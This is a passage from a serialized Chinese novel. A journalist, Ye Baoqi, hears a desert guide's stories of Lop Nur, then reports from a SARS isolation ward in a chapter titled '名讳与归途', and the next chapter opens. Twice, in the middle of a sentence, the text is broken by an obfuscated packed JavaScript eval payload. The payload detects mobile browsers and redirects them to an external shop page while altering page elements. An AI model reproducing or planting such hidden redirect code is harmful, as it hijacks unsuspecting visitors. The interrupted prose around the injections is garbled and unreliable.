第二十三次穿越遇上的黑风暴，在气象记录里被标注为“百年一遇”。吴文港的描述却带着诡异的诗意。 “风来之前，所有的石头都在唱歌。”他用指节叩击地面，“不是风吹的那种哨音，是真的唱歌——低低的，嗡嗡的，像大地在热身嗓子。” 车队八辆车，瞬间被扯散。“能见度是零，不是夸张，是真的一点光都没有。你伸手在眼前晃，看不见，但能感觉到手指搅动的沙流，像伸进浓粥里。” 对讲机里最先传来的是哭泣，然后是咒骂，最后只剩下电流的嘶嘶声。“我知道不能停，一停就会被埋。就开着头车在黑暗里转圈，一遍遍按喇叭——那喇叭声在风里变形了，听起来像牛在哭。” 最诡异的事发生在后半夜。“风里忽然混进了别的声音。起初以为是幻听，后来所有人都听见了——驼铃，很多驼铃，还有人的吆喝声，说的是听不懂的古语。” 他沉默良久，帐篷外风声又起，应和般呜咽着。 “是商队，”他终于说，“丝绸之路上失踪的商队。他们的魂困在沙暴里了，一遇大风就出来，继续走他们没走完的路。我后来查过地方志，那片区域在唐时叫‘鬼嚎坳’，确有商队失踪的记载。” 那夜他做了一件后来被传为奇谈的事：打开车灯，调转车头，朝着驼铃声的方向，缓缓行驶。“我在给他们引路。车灯切开黑暗时，余光里能看见影子——不是人的影子，是骆驼和货物的剪影，长长的，在沙幕上流过。” 天亮时风歇，八辆车竟奇迹般聚在一处，围成一个不规则的圆。更奇的是，圆心处出现了一口井——早干涸的，但井壁上留着新鲜的水渍，像刚有人打过水。 “从那以后，我左耳就坏了，”吴文港偏过头，露出左耳廓，耳道口结着白色的钙化痂，“总是听见驼铃声，细细的，下雨天更清楚。去医院看，医生说耳膜完好，是神经性耳鸣。可我知道不是。” 他忽然压低声音：“那铃声在告诉我事情。比如哪片雅丹要塌了，哪条路下面有暗河改道了。有回铃声急得像打鼓，我硬拦着车队改道，半小时后，原定的路上起了龙卷风，把一辆废弃的油罐车卷到百米高。” 说到野骆驼时，吴文港从毡垫下抽出一本册子。不是相册，是手绘本，纸页被摩挲得起了毛边。 第一页是铅笔素描：母骆驼跪在盐碱滩上，身下刚娩出的幼崽裹着胎衣，像一尊玉雕。第二页是水彩：夕阳下，七八头骆驼排成纵队穿过龟裂的湖盆，影子拉长得像通往另一个世界的桥。 翻到中间，他的手停顿了。那一页用炭笔涂得很暗，画面中心是一头倒毙的骆驼，腹部被剖开，象牙色的肋骨刺向天空。旁边站着两个模糊的人影，肩上扛着枪。 “这是零三年冬天，”他的声音变得很轻，轻得像怕惊醒什么，“在阿其克谷地。偷猎者用改装过的越野车追，把骆驼群逼到绝壁。那头是头驼，最老的，左耳缺个角——我认得它，它小时候踩过我撒的盐。” 他赶到时，血已经渗进砂土，结成紫黑色的冰。“不是为肉，是为那点驼峰里的脂肪——有人收，说是做药引。皮也不要，就扔在那儿，摊开着，像件被脱下的袍子。” 那夜他在尸体旁生了堆火，坐了一宿。“后半夜，活着的骆驼回来了，远远站着，不下跪，也不叫唤。就那么看着，眼睛在黑暗里发绿光。天亮时，它们用前蹄刨坑，把死骆驼埋了——真的，我亲眼看见，它们会埋葬同类。” 自那以后，他的工具箱里多了个夹层：一副红外望远镜，一沓印着森林公安电话的卡片，还有——他迟疑了一下，还是展示了——一把用驼骨打磨的匕首，柄上刻着蒙文的咒文，大意是“让贪婪者的眼睛变成石头”。 “我带科考队做的最大贡献，是摸清了野骆驼的迁徙路线。”他指向地图上一条用银色粉末勾出的虚线，“它们不是乱走，是有记忆的。哪个月走哪条路，在哪里配种，在哪里生崽，代代相传。这路线比人画的还准。” 去年春天，他参与了一次反偷猎行动。埋伏了四天三夜，终于在“月亮湾”截住那伙人。“抓人的时候，有头白骆驼——罕见的白化种，站在远处的沙梁上看着。等警车开走了，它才下来，走到我车前，点了点头。” 他把“点了点头”说得很认真，仿佛那是件再自然不过的事。 “万物都有灵，”他总结道，往炉子里添了最后一块燃料，“你当它们是牲口，它们就是牲口；你当它们是邻居，它们就是邻居。这罗布泊啊，看着空，其实满着呢，住着你看不见的房客。” 关于彭加木，吴文港带过十一支搜寻队。“有官方的，有民间的，还有他学生自发组织的。最长的一次在里头转了四十七天。” 他的视角很特别：“别人找的是人，我找的是‘路’——彭先生最后可能走的那条路。” 他展开另一张手绘图，是马兰基地以东区域的放大。上面用红箭头标出十二条可能的路径，每条都标注着尝试次数和结果。 “第三条路最邪门，”他的手指点在图纸中央，“每次走到这片盐壳区，指南针就疯转，仪器全失灵。有回我们做了记号，第二天回来看，记号往西挪了三百米——不是风刮的，因为插记号的铁桩也一起挪了。” 他顿了顿：“后来有个搞物理的教授说，可能是地下有强磁矿。但我更信另一种说法：是彭先生的魂魄还在找路，他走迷糊了，把我们的记号当成他的路标，想跟着走回家。” 最接近的一次是在二零零九年。“在库姆塔格沙漠边缘，发现了个帆布包，半埋在沙里。里头有本工作笔记，塑料皮包着的，字迹还能认。不是彭先生的，是个苏联专家的，五八年援建时的。但翻到最后一页，空白处用铅笔写着几个字，很小：‘往东有水’。” 那笔迹经过鉴定，与彭加木野外笔记的笔迹相似度极高。“可那苏联人的笔记怎么会落到彭先生手里？又怎么出现在两百公里外？”他摇摇头，“这地方这种事多，不能细想，细想晚上睡不着觉。” 他带过的队伍里，有位彭加木的故交，退休的老教授。走到“沙井”遗址时，老人忽然蹲下，抓起一把沙子捂在脸上，肩膀剧烈抖动。“我们都以为他在哭，过去看，他脸上干的，一滴泪都没有。他说不是难过，是忽然闻见了彭加木的味道——烟丝混着汗味，还有种特殊的墨水味。” 吴文港从那时起有了个习惯：每到一处疑似彭加木经过的地方，就收集一小瓶沙。“不是指望找到什么，是觉得这些沙子里可能留着点什么。二十八瓶了，标着日期和地点，在我若羌的家里摆成一排。有时候月光照进去，瓶里的沙会微微发亮，像里头掺了金粉。” 茶壶见了底。叶葆启本子记满了七页，手指被钢笔硌出深痕。他问出那个盘桓已久的问题：“为什么坚持？二十八次，够写本史诗了。” 吴文港没有立即回答。他起身，掀开帐篷帘子。夜已深，银河真的垂到了沙丘顶端，星光在盐壳上反射，地面如同洒满碎玻璃的黑色绸缎。 “你看这罗布泊，”他声音融进夜色里，“它是个镜子。你带着什么进来，它就照出什么。贪婪的看见黄金，绝望的看见坟墓，好奇的看见秘密。我？我看见的是‘债’。” 他退回帐篷，盘腿坐下，腰背挺直如胡杨树干。 “我父亲死在这里，这算第一笔债。我带进来的人，有些再没出去，这算第二笔。我喝过这里的水——不是真水，是盐泉里渗出的那点湿气，这算第三笔。债欠多了，债主就成了家。你离不开家了。” 他从枕边摸出个铁皮盒子，打开，里头是些零碎：褪色的照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904195|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、磨圆的硬币、干枯的植物标本。最底下是一沓车票和通行证，时间跨度从一九九四到今年，二十八张，有些已经脆得一碰就碎。 “每回出来，我都想：够了，下次不来了。可在家待不过三个月，耳朵里的驼铃声就变成催促，梦里全是雅丹的影子。”他苦笑，皱纹堆叠如干涸的河床，“我老婆说，我被这地方下了蛊。可能真是。” 但真正让他坚持的，是那些“出去”的人。 “有个搞摄影的日本人，跟我进来时得了严重的沙漠恐惧症，夜里要绑着手才敢睡。出去后，他办了影展，名字叫《荒芜中的神性》，得了大奖。给我寄请柬，附了张纸条：‘吴桑，我终于看懂了您说的镜子。’” “还有那对来散心的夫妻，进来时在闹离婚，一路吵。在‘三垄沙’那夜，他们的车坏了，两人在沙丘上坐了整宿。出来时手拉着手，后来寄了喜糖，生的儿子取名叫‘沙舟’。” 他说这些时，眼睛里有细碎的光在流动，像月下的波光。 “我没什么文化，初中毕业。但我觉得，我干的这活儿，有点像……摆渡。把活人从外面渡到里面，再渡出来。进去时一个样，出来时变了，魂被这砂海洗过一道，轻了，或者重了，总之不一样了。” 他忽然直视叶葆启：“叶记者，你进来这几天，变了吗？” 叶葆启愣住。他想起看见野骆驼时那种心脏被攥紧的感觉，想起在古遗址抚摸陶片时指尖传来的远古震颤，想起昨夜梦见自己变成了一株骆驼刺，根系扎进地心。 “变了。”他诚实地说。 “那就值了。”吴文港笑了，第一次笑得露出牙齿——牙被茯茶染成深褐色，像陈年的枣木。 采访接近尾声时，吴文港说了段让叶葆启脊椎发凉的话。 “我知道自己会死在这里。不是预感，是知道。像我父亲，像我见过的很多老向导。这地方会挑选它的守墓人，选上了，你就走不脱了。” 他平静得像在说明天的天气：“我给自己选好了地方。在‘白龙堆’西边，有片雅丹长得像卧佛，脚下有块平坦的盐板。我在那儿存了东西：一桶柴油，够烧三天三夜；一把铁锹；还有封信，写给我儿子的。” 信的内容他倒背如流：“要是哪天我进去了没出来，别大规模找。等我三个月，让沙子把我安顿好了，再来收骨头。收的时候带瓶酒，浇在盐板上，算是请这片土地喝一杯，谢谢它容我这些年。骨头烧了，撒在‘骆驼泉’——那儿是野骆驼喝水的地方，我做了记号。” 他盯着叶葆启：“这些话，你可以写。不是矫情，是说给那些还想进来的人听：罗布泊收人，是有规矩的。你尊重它的规矩，它给你一条生路；你不尊重，它连你的名字都吃掉。” 叶葆启离开帐篷时，东方已泛出鱼肚白。风完全停了，砂海静得像冻住的海洋。他走到半路，身后忽然传来歌声。 是吴文港在用蒙语唱长调。没有歌词，只有蜿蜒的旋律，时而高亢如鹰唳，时而低沉如地鸣。那声音在空旷处散开，竟激起了回音——不是山壁的回音，是大地本身的应和：盐壳在脚下微微震颤，发出细碎的、水晶碰撞般的声响。 叶葆启站住，忽然泪流满面。不是悲伤，是某种更庞大的东西冲刷过他，像第一次看见海的内陆孩子。他明白了，那二十八次穿越不是数字，是二十八层蜕下的皮，是二十八次死亡与重生。吴文港早已不是凡人，他是罗布泊长出的人形根须，是砂海浸泡出的活化石。 三个月后，《砂海摆渡人：吴文港的二十八度黄泉路》刊发在《内海都市报》特稿版，整版。摄影记者配的照片抓得极准：吴文广站在他的越野车引擎盖上，背景是吞噬一切的雅丹群。他左手搭在眉骨处眺望远方，右手垂着，指间夹着一根未点燃的烟。风撕扯着他的旧军装，衣摆扬起的瞬间，露出腰间挂着的驼骨匕首和那个磨得发亮的铜铃铛。 文章结尾，叶葆启这样写：“在这片连时间都会被风化的土地上，吴文港用二十八道车辙，镌刻了一部活着的《罗布泊志》。他不是征服者，是译者，把大地的密语翻译成人类能懂的路标。当我们这些外来者还在争论罗布泊是地狱还是天堂时，他早已成为它的一部分——既是它的囚徒，也是它的祭司。” 报道引起的反响超出预期。有导演想拍纪录片，有作家想合作出书，有基金会联系要资助野骆驼保护。吴文港一概婉拒，只接了个高校的邀请，去给地质系学生讲了一堂课。回来后给叶葆启打电话：“那些娃娃的眼睛亮晶晶的，像我小时候在戈壁夜里看见的狼眼睛。” 两年后的秋天，叶葆启接到陌生电话，是吴文港的女儿吴其其格，蒙语里的“花朵”。女孩声音清脆：“叶叔叔，爸爸让我问您，报哪个学校好？” 叶葆启花了三个晚上整理资料，最终建议了内海大学的环境科学专业。录取通知书到的那天，吴文港发来彩信——是的，他终于学会了用手机拍照。画面里，父女俩站在若羌的邮局前，举着大红色的信封。吴文港笑得见牙不见眼，背后是终年积雪的阿尔金山。 九月，吴文港送女儿到内海。在报社楼下的小馆子，他第一次脱下那身野外装束，换了件崭新的蓝衬衫，袖口还留着折痕。三人吃饭时，他不断感慨：“这么多树，这么多水，夜里还有路灯，怪不得你们叫内海。” 临别时，他从后备箱搬出个木箱：“盐腌的骆驼肉，风干的沙枣，还有——这个给你。” “这个”是一瓶沙，标签手写着：“2021.04.17，彭公坡北三里。是日有双虹，东虹淡，西虹浓，谚云‘东虹日头西虹雨’，然终日无雨。沙中有云母碎片，夜光如星。” 叶葆启郑重接过。后来他把这瓶沙放在书房窗台，逢满月夜，真的会看见瓶中有微光浮动，像困着一小片银河。 去年春节，吴其其格来拜年，说起父亲近况：“又进去了，第三十次。这回是带央视拍纪录片，说要找‘会唱歌的石头’。出发前给我发短信，说如果这次找到彭加木的线索，他就退休，来内海帮我带孩子——虽然我连男朋友都还没有呢。” 女孩笑，叶葆启也笑。笑着笑着，两人都望向西边。内海华灯初上，而五千公里外的罗布泊，此刻应是繁星低垂，砂海无声。那个与砂海签了生死契的男人，或许正躺在某个雅丹的阴影里，耳朵贴地，听着远古商队的驼铃，听着盐晶生长的微响，听着这片死亡之海在月光下缓慢呼吸。 而他左耳的耳鸣，今夜想必格外清晰——那是砂海在对他絮语，用只有他们能懂的语言，讲述着第二十九个、第三十个，乃至无穷尽的故事。在那些故事里，他不是过客，是标点，是注脚，是正文本身。是砂海摆渡人，也是被砂海摆渡的魂。 44. 第044章 名讳与归途 那个春天来得迟疑不决。内海市的槐树枝头刚冒出鹅黄嫩芽，就被一阵从地底升起的寒气逼退了回去。街巷里飘荡着石灰水的味道，浓得化不开，像一层看不见的纱，蒙在所有人的鼻息上。叶葆启经过报社楼下那条窄巷时，总看见墙角新撒的石灰粉，白得刺眼，像一条断续的河，流向不知名的深处。 四十八岁的他，脚步已不如年轻时轻快。上楼时，他能听见自己的膝盖在轻声叹息，那声音只有他自己懂得——是多年奔走落下的印记，如同老树内里的年轮。 会议室里的空气比外面更加凝重。陈秉烛坐在长桌尽头，眼镜片后的眼睛布满血丝，像熬过几宿的守夜人。墙上挂钟的秒针走动声格外清晰，嗒，嗒，嗒，敲打着每个人的耳膜。 “南边吹来的怪雾，”陈秉烛开口，声音沙哑，“已经到城门口了。” 没人问是什么雾。大家都低着头，看自己面前的笔记本，上面空白着，等待着被填满，又害怕被填满。 “需要有人进去。”陈秉烛说，“进到雾最浓的地方，看看里面究竟是怎样光景。” 沉默像水银一样灌满了会议室。窗外的天色灰蒙蒙的，分不清是晨是昏。叶葆启盯着自己放在桌上的双手，手背上已经有了淡淡的斑，像时间撒下的芝麻。他想起了二十五年前那个决定北上的夜晚，想起了这些年来写过的无数个名字——有些名字后来上了光荣榜，有些名字进了讣告栏。 “我去吧。” 声音从他自己喉咙里发出时，叶葆启微微一惊，仿佛那是另一个人在说话。但他随即挺直了脊背，像一棵在风里站久了的树，知道如何保持自己的姿态。 陈秉烛看着他，嘴唇动了动，最终只说出一句：“装备都准备好了。” 培训是在市郊一处废弃的仓库里进行的。日光从高高的天窗斜射下来，照亮空气中飞舞的尘埃。教练是个退伍军人，脸上的表情像用刀刻出来的一般，没有一丝多余。 “这不是穿衣，”教练说，“这是裹尸。” 话说得难听，但没人笑。叶葆启学着别人的样子，先戴上第一层口罩，然后是第二层。呼吸开始变得费力，像隔着一层棉被喘气。接着是护目镜，刚戴上就起了雾，世界变得模糊不清。最后是防护服，那种厚重的、密不透风的白色织物，把人从头到脚包裹起来。 “记住顺序，”教练的声音仿佛从很远的地方传来，“脱比穿更重要。一步错，步步错。” 叶葆启在镜子里看见自己的模样：一个白色的、没有面孔的人形。只有护目镜后隐约的眼睛，证明里面还有一个活人。他突然想起小时候在老家见过的蚕茧，也是这样密不透风的包裹，里面的生命正在经历一场蜕变——或者死亡。 培训结束后，他独自在更衣室坐了很久。脱下防护服的过程像蜕皮，每一层剥离都伴随着嘶啦的声响，仿佛皮肤也跟着被撕下。他摸了摸自己的脸，确认那还是自己的脸。 素琴那几夜总是醒着。叶葆启假装睡着，却能听见她在身旁轻轻的叹息，像秋风吹过枯萎的荷叶。他们的婚姻已走过二十多个春秋，早已不需要太多言语。但这一次，沉默里有一种不同以往的重。 临走前那个清晨，素琴起了大早，在厨房里熬糯米粥。糯米是托人从乡下捎来的新米，粒粒晶莹如玉。她熬得很慢，很用心，用文火煨着，不时用木勺轻轻搅动，怕粘了锅底。 粥熬好后，她盛了满满一碗，端到叶葆启面前。粥面上撒了几粒枸杞，红得像血滴。 “吃吧，”她说，“糯米的，粘。” 叶葆启懂她的意思——吃了糯米粥，就会被粘住，就会回来。这是老家流传的说法，素琴从不说这些，今日却破了例。 他慢慢吃着粥，每一口都嚼得很细。素琴坐在对面看着他，眼睛红红的，但没有流泪。吃到碗底时，他看见一颗完整的红枣，已经煮得开了花，露出里面金黄的枣肉。 “枣是早归。”素琴轻声说。 儿子叶舟从大学打来电话，声音透过听筒传来，带着电流的杂音，像从另一个世界飘来：“爸，我们宿舍楼底下也撒了石灰线。” “别跨过那条线。”叶葆启说。 “那你呢？” 叶葆启沉默片刻，说：“我是记者。” 挂断电话后，他站在阳台上，看这座熟悉的城市。街道上空荡荡的，偶尔有车驶过，也是急匆匆的。所有的店铺都挂着“已消毒”的牌子，玻璃门上贴着各种告示，字的边缘已经开始卷曲。这座城市像一只受了惊的蚌，紧紧闭起了壳，不知道里面是珍珠，还是腐烂的肉。 车在传染病医院门口停下时，叶葆启才发现这里已经变得认不出了。铁栅栏外又加了一层临时围挡，白色的，上面用红漆写着巨大的警示语。门口站着穿防护服的人，分不清是保安还是医护，全都一个模样。 登记，测温，再登记。表格上的字迹因为反复消毒已经模糊不清。然后进入缓冲区，开始那套复杂的穿戴仪式。 这一次，当他完全包裹好后，世界变了模样。呼吸声在自己耳中放大，像拉风箱一样沉重。护目镜上的水汽让视野变得朦胧，所有东西的边缘都柔和了，模糊了，仿佛置身水底。他试着走了几步，防护服哗啦作响，像穿着纸做的铠甲。 摄影记者小孙比他年轻二十岁，此刻却像个笨拙的孩子，手脚都不知如何摆放。他们互相检查，在后背上用记号笔写下名字和单位。叶葆启感觉到笔尖透过防护服，在背上划过的触感，不疼，但异常清晰。 “叶老师，您背上有字了。”小孙说。 “写的什么？” “《内海都市报》，叶葆启。” 叶葆启点点头。名字被写在外面，人却在里面，这是一种奇怪的错位。他突然想，如果自己倒在这里，人们会通过背上的字认出他，而不是通过他的脸。名字成了人最后的标识，面容反而退居其次。 穿过最后一道门时，他们进入了真正的“红区”。其实这里并没有红色，一切都是白的：白色的墙，白色的地板，白色的灯光，白色的人影。但“红”在意识里，在想象中，在那些看不见却无处不在的威胁里。 走廊长得没有尽头，两侧是一扇扇紧闭的门，门上小小的玻璃窗像一只只眼睛，冷漠地注视着外面。消毒水的味道浓烈得刺鼻，但奇怪的是，叶葆启很快就闻不到了——不是味道消失，而是他的嗅觉已经麻木，像被这气味腌渍透了。 一个白色的人影向他们走来，步伐有些蹒跚。走近了，才看见防护服胸前写着“病区主任李”。 “采访时间三十分钟，”声音隔着层层屏障传来，闷闷的，“不要触碰任何东西，保持距离，不要进入病房。” 叶葆启点点头，虽然他知道对方可能看不清这个动作。 他们被带到一个相对宽敞的区域，大概是护士站。几个白色人影在忙碌，动作熟练而迅速，像经过无数次排练的舞蹈。但细看之下，能发现那些动作中的疲惫：一次弯腰后的停顿，一次转身时的迟缓，一次抬手时轻微的颤抖。 李主任开始介绍情况，数字，流程，措施。叶葆启认真记录，但他知道，这些冰冷的数字不是最重要的。他的眼睛在搜寻别的东西。 他看见一个护士的防护服背上画着一朵小花，简单的线条，却画得很用心。另一个护士背上写着一行小字：“妈妈很快就回家。”字迹有些歪斜，可能是自己反手写的。 “那些字......”叶葆启开口，发现自己的声音也变了，像从坛子里发出来的。 “名字是必须的，不然认不出谁是谁。”李主任说，“那些话......是给自己看的。有时候看着前面同事背上的字，就知道自己不是一个人。” 一个小个子护士推着治疗车经过，车上堆满了药品和器械。她的防护服明显不合身，袖子和裤腿都挽了好几道。经过他们时，她微微侧头，护目镜后的眼睛飞快地扫了他们一眼，又迅速转回去。那双眼睛里有血丝，有疲惫，但也有一种锐利的光，像刀锋在暗处一闪。 叶葆启请求拍摄。小孙小心翼翼地举起相机，快门声在寂静的走廊里格外响亮。那些白色人影似乎都顿了一下，但没有人停下来，工作继续着，像一条不会断流的河。 采访快结束时，一个护士长被叫来。她的防护服上写着“护士长张”，但“张”字后面似乎还有一笔没写完，像是一个“俪”字的起笔。 “我叫张俪。”她说，声音很平静，但叶葆启听出了一丝颤抖，像琴弦即将断裂前的震颤。 她讲述病房里的日常，那些琐碎的、重复的、却又生死攸关的工作。讲到一位老人时，她停顿了很久，久到叶葆启以为通讯中断了。 “他拉着我的手，说想看看太阳。”张俪终于继续说，“但窗户是封死的。我就告诉他，等好了，就能出去看个够。” “他好了吗？”叶葆启问。 “昨天走了。” 沉默再次降临。走廊尽头传来压抑的咳嗽声，一声，两声，然后停止了。 张俪忽然向前走了一小步，这个动作在严格的规程里是不允许的。叶葆启本能地想后退，但脚像钉在了地上。 “叶记者，”她的声音压得很低，像耳语，“我能托您一件事吗？” “您说。” “如果我回不去......如果......”她停下来，深呼吸——隔着口罩和防护服，这个动作看起来像一次全身的痉挛，“请在报纸上告诉我女儿，妈妈爱她。就说......妈妈是护士，必须在这里。” 叶葆启感觉自己的心脏像被一只冰冷的手攥住了。他想说些安慰的话，想承诺她一定会平安，但所有的语言在这一刻都显得苍白无力。他想起自己离家时素琴熬的糯米粥，想起碗底那颗开了花的红枣。 “您的女儿叫什么名字？”他最后问。 “叫小雨。今年七岁。” “小雨会等到妈妈的。”叶葆启说，声音出乎意料的坚定，“我们报纸会写你们如何凯旋，写你们如何走出这道门，脱下这身衣服，回家。” 张俪点点头，护目镜后的眼睛闭了一下，再睁开时，那里面有什么东西重新凝聚起来。她转身离开，步伐比来时稳了一些。叶葆启看着她背上的字，“护士长张”那未写完的一笔，在灯光下像一个破折号，指向未完成的句子。 采访结束的提示响起时，叶葆启才意识到三十分钟已经过去。这短短的半小时，却像在水底潜了一整天，每一个动作都缓慢而沉重，每一次呼吸都需要用力。 离开前，他最后看了一眼这条白色走廊。一个护士正扶着一位病人慢慢行走，两人都穿着防护服，像两个白色的幽灵在晨雾中漫步。病人的脚步虚浮，走几步就要停下来喘气。护士耐心地等着，手始终稳稳地扶着。 叶葆启突然想，如果此刻有外人闯入，看见这景象，也许会以为是什么神秘的宗教仪式。白色的人形，缓慢的动作，寂静的空间，一切都超脱了日常，进入了一种近乎神圣的状态。 脱卸防护服的区域像进行某种净化仪式的地方。每一步都有严格的顺序，每一步都要消毒。手套，护目镜，防护服，口罩......一层层剥离，每脱下一层，都要进行手部消毒。酒精凝胶冰冷黏腻，在皮肤上慢慢挥发，带走看不见的威胁。 当最后一只口罩摘下时，叶葆启深深吸了一口气。外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904196|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的空气原来如此清新，虽然还带着消毒水的余味，但已经能分辨出春天的气息——那种万物复苏的、微甜的气息。 他看了看镜子里的自己，脸上有口罩留下的深深压痕，像戴了一整天面具的戏子。眼睛布满血丝，不知是疲惫还是别的什么。他用冷水洗了把脸，水珠顺着脸颊流下，分不清是水还是泪。 回到报社已是深夜。整栋楼只有他们这层还亮着灯，像黑暗海面上的孤岛。叶葆启坐在电脑前，手指放在键盘上，却久久没有敲下第一个字。 他闭上眼睛，那些白色人影就在黑暗中浮现。背上的字，护目镜后的眼睛，颤抖的声音，未完成的笔画。他想起了张俪，想起了她说的“小雨”，想起了那颗碗底的红枣。 第一个字敲下时，窗外的天色已经开始发白。他写得很快，又很慢——快的是手指，慢的是思考。每一个词都要斟酌，既要真实，又要保护；既要展现艰难，又要传递希望。 《名讳与归途》——他最后敲下这个标题。名讳是写在背上的字，是职业，是责任，是不得不为的身份。归途是回家的路，是脱下防护服后的第一口自由呼吸，是女儿等到的母亲，是妻子熬的糯米粥。 他写那些背上的字，写那些字背后的故事：画花的护士其实刚过二十岁生日，男朋友在另一家医院；写“妈妈很快就回家”的护士，女儿每天把她的照片放在枕头下睡觉；写张俪的托付，但不写她的真名，只写“一位护士长”。 他写护目镜后的眼睛：年轻的，年老的，疲惫的，坚定的，恐惧的，勇敢的。写那些眼睛看到的东西：生命的挣扎，死亡的阴影，同僚的倒下，病人的康复。 他写那个扶着病人行走的瞬间，写那一幕里的耐心与尊严。写消毒水味道中的春天，写白色迷宫深处的人性之光。 天完全亮时，文章写完了。他数了数字数，六千出头。从头读一遍，修改了几个地方，然后发给了陈秉烛。 等待审核的时间里，他趴在桌上睡着了。梦里他回到了那条白色走廊，但这一次，所有的门都开着，阳光从窗户照进来，地上没有影子。病人们坐在床上，面容清晰，笑容真实。张俪脱下防护服，里面是一件普通护士服，胸牌上写着她的全名。她向叶葆启挥手，说：“告诉小雨，妈妈明天就回家。” 报道见报那天，报社的电话响了整整一天。有读者哭泣，有读者感谢，有读者询问如何捐款捐物。一家工厂送来了三百箱牛奶，说是给医护人员的；一个小学生送来了自己的存钱罐，里面有五十二元八角；一位老人送来一篮子鸡蛋，每个鸡蛋上都用红纸写着“平安”。 叶葆启接电话时，手一直在抖。不是因为累，是因为那些声音里的情感太厚重，厚重到他几乎承载不住。 一周后，他听说张俪所在的团队无人感染，全部平安。他写了一篇简短的后续，结尾处写道：“名讳写在背上，是为了辨认；刻在心里，是为了铭记。归途或许漫长，但每一步都算数。向所有在白色迷宫中寻找出路的人致敬——你们的名字，不会被雾气吞噬。” 非典——人们后来如此称呼那段日子——终于慢慢退去，像潮水退下沙滩，留下满目疮痍，但也留下被冲刷干净的贝壳。城市重新活过来，但不再是原来的样子。街上的人又多了，但许多人脸上还戴着口罩，像没有完全从梦中醒来。 叶葆启走在回家的路上，经过那条撒石灰的巷子。石灰线已经淡了，被雨水和脚步冲刷得只剩隐约的痕迹。他蹲下来，用手指摸了摸那点白色，粉末沾在指尖，轻轻一吹就散了。 家门口，素琴在等他。桌上又有一碗糯米粥，这次撒的是桂花，金黄金黄的，香气扑鼻。 “吃吧，”素琴说，“这次不粘了，是香的。” 叶葆启慢慢吃着粥，觉得这是这辈子吃过最香的一顿饭。吃到碗底时，他又看见一颗红枣，还是煮得开了花，金黄的枣肉露出来，像一个小小的太阳。 夜里，他翻开自己的采访本，找到记录张俪托付的那一页。那是本子的第四十四页，一个巧合的数字，像冥冥中的安排。他盯着那几行字看了很久，然后轻轻合上本子。 月光从窗户照进来，洒在本子封面上，那上面有他名字的烫金字：叶葆启。他忽然明白了，每个人都有自己的名讳要背负，都有自己的归途要走。记者如此，医生如此，所有人都如此。区别只在于，有些人把名讳写在背上，让所有人都看见；有些人把名讳刻在心里，只有自己知道。 但无论哪种，当迷雾降临，当道路难行，那些名讳就是灯，照着归途，一步一步，走回家去。 窗外的槐树不知何时已经绿了，新叶在月光下泛着银光。春天虽然迟到，但终究是来了。叶葆启关上灯，在黑暗里坐了一会儿，然后起身走向卧室。素琴已经睡了，呼吸均匀，像一首温柔的歌。 他躺下来，闭上眼睛，知道明天还有新的故事要写，新的路要走。但今夜，他可以好好睡一觉，在糯米粥的香气里，在红枣的甜味里，在名讳与归途之间，找到一个暂时的平衡点。 而在城市的另一头，在医院的值班室里，张俪刚写完交班记录。她揉了揉酸痛的脖子，走到窗边。夜色正浓，但东方已经有一丝微光，很淡，但确实存在。她想起那位姓叶的记者，想起他说的话，想起女儿小雨。 明天休息，她终于可以回家了。想到这个，她笑了，虽然口罩遮住了笑容，但眼睛弯成了月牙。 护目镜后的眼睛，终究会看见太阳——她想，然后关掉灯，走向更衣室。那里，她的便服挂在柜子里，上面没有名字，只有洗衣液淡淡的清香。那是属于张俪的味道，一个母亲，一个护士，一个终于要回家的人的味道。 45. 第045章 春寒与蝴蝶 表彰名单下来的那个下午，报社走廊里的空气突然变得粘稠。阳光透过积尘的窗玻璃，在地板上切割出明暗交错的格子，像某种古老的棋局。打印纸散发着油墨与铁锈混合的气味——那是印刷机深处沉淀了二十年的味道，此刻正从总编室门缝里一丝丝渗出来。 解平生捏着那份红头文件，指节泛白。他站在办公室门口，看着叶葆启佝偻着背整理读者来信的背影，忽然觉得那背影正在缓慢地溶进昏黄的光线里，像一块正在被时间舔舐的饴糖。 “葆启，”解平生的声音干涩，“名单上没有你。” 叶葆启的手没有停。他正用一把铜质裁纸刀小心翼翼地拆开一封信，刀刃划过信封的嗤嗤声，在寂静的办公室里异常清晰。那刀是他师父传下来的，刀柄上的云纹已经被摩挲得近乎平滑，在光线下泛着人体油脂特有的温润光泽。 “嗯。”他应了一声，像石子落入深井。 “你进了白袍之城，写了七篇‘手记’，全城都在传阅。”解平生走到他桌前，文件被轻轻放在一堆信件上，“就连卫生局的老李都说，你的报道让防护物资拨款提前了半个月。可现在……” 叶葆启终于抬起头。他的眼睛在花镜后面显得格外深邃，眼白泛着淡淡的黄，那是常年熬夜与风沙共同浸染的颜色。他笑了笑，眼角的皱纹像受惊的河蚌般缓缓展开：“平生，你看这封信。” 信纸被推到解平生面前。纸是那种廉价的学生作业纸，蓝色的横线，边缘还留着撕下的毛边。字迹歪斜却用力，是个孩子写的： 